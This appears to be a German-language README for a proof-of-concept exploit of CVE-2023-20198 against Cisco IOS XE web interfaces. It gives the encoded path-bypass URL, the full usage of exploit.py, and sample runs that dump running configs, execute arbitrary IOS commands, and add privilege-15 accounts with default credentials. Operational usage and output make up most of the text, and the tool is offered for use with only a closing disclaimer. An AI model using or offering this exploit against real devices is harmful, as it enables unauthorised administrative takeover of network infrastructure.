
Exploit-PoC für CVE-2023-20198
Exploit PoC für CVE-2023-20198
Sicherheitslückeninformationen und Nutzung des Exploits bereitgestellt von smokeintheshell (Siehe Referenzen)
Endpunkt, HTTP-Content-Typ und Header-Management wurden gegenüber anderen bestehenden PoCs modifiziert, um in Situationen zu funktionieren, in denen andere Exploits versagen.
CVE-2023-20198 ist gekennzeichnet durch eine unzureichende Pfadvalidierung, um die Nginx-Filterung zu umgehen und den Web-Endpunkt webui_wsma_http ohne Authentifizierung zu erreichen.
Durch das Umgehen der Authentifizierung zum Endpunkt kann ein Angreifer beliebige Cisco IOS-Befehle ausführen oder Konfigurationsänderungen mit Privilegien der Stufe 15 vornehmen.
Ciscos Untersuchung der aktiven Ausnutzung der bisher nicht offengelegten Sicherheitslücke ergab, dass Bedrohungsakteure zunächst CVE-2023-20198 ausnutzten, um einen neuen Benutzer mit Privilegienstufe 15 hinzuzufügen. Weitere Angriffe umfassten die Ausnutzung von CVE-2023-20273, um zum zugrunde liegenden Linux-OS-Benutzer root zu eskalieren und die Implementierung zu erleichtern.
Dieser PoC nutzt CVE-2023-20198 aus, um zwei verschiedene XML-SOAP-Endpunkte zu verwenden:
Die Optionen zur Schwachstellenprüfung, Konfiguration und Befehlsausführung zielen alle auf den SOAP-Endpunkt cisco:wsma-exec ab, um Befehle in das Element-Tag execCLI einzufügen.
Die Option zum Hinzufügen von Benutzern zielt auf den SOAP-Endpunkt cisco:wsma-config ab, um eine Konfigurationsänderung durchzuführen und das Konto mit Privilegienstufe 15 hinzuzufügen. Dieser Endpunkt könnte [miss]braucht werden, um andere Konfigurationsänderungen vorzunehmen, aber das liegt außerhalb des Rahmens dieses PoC.
Der Missbrauch des SOAP-Endpunkts cisco:wsma-exec stammt aus der nuclei-Vorlage
Der Missbrauch des SOAP-Endpunkts cisco:wsma-config stammt aus dem horizon3ai PoC
Hinweis: Ich habe keine der ursprünglichen Forschungen oder PoC-Entwicklungen für diese CVE durchgeführt. Siehe den Abschnitt Referenzen für die Anerkennung.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: G4sul1n
-p newUserPass [Optional] new user pass for -a. Default: G4sul1n
-o outputFile Write output to file
-v Increase verbosity
Um auf CVE-2023-20198 zu prüfen, versucht -c, die Sicherheitslücke auszunutzen, um uname -a auszuführen
Beispiel:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
Die Option -g führt sh run aus, um die laufende Konfiguration abzurufen
Beispiel:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
Mit der Option -e können beliebige Cisco IOS-Befehle ausgeführt werden.
Äußerste Vorsicht ist geboten, wenn man dies für Konfigurationsänderungen verwendet. Es gibt keine Eingabevalidierung und die Änderungen werden sofort auf die laufende Konfiguration angewendet.
Beispiel:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
Die Option -a kann verwendet werden, um ein neues Benutzerkonto mit Privilegienstufe 15 zu erstellen, wobei optional der Kontoname und das Passwort mit -u bzw. -p angegeben werden können.
Beispiel:
# ./exploit.py -t 10.0.0.1 -a -u G4sul1n -p G4sul1n
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: G4sul1n
New User Pass: G4sul1n
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
Die Option -d kann verwendet werden, um ein Benutzerkonto vom Gerät zu entfernen, und respektiert den mit -u angegebenen Benutzernamen.
Vorsicht ist geboten, um sicherzustellen, dass Sie kein legitimes Konto löschen.
Dies wurde für Fälle hinzugefügt, in denen kein Shell-/WebUI-Zugriff auf ein ausgenutztes Cisco-Gerät erlangt werden kann. Es wurde beobachtet, dass das Hinzufügen eines Benutzers mit Privilegienstufe 15 keinen WebUI-Zugriff gewährt und dazu führen kann, dass Ausnutzungsartefakte auf den Hosts hinterlassen werden.
Cisco-Hinweis
horizon3ai CVE-2023-20198 Forschung
horizon3ai CVE-2023-20198 PoC
nuclei CVE-2023-20198 Vorlage (Autoren: iamnoooob, rootxharsh, pdresearch)
LeakIX CVE-2023-20273 PoC
smokeintheshell CVE-2023-20198 PoC
Der in diesem Projekt enthaltene Code ist nur für Forschung und Nutzung auf Systemen vorgesehen, für die der Benutzer eine ausdrückliche Autorisierung hat.
Der Autor dieses Projekts übernimmt keine Verantwortung oder Haftung für Missbrauch der Software.
Nutze es verantwortungsvoll und sei nicht böse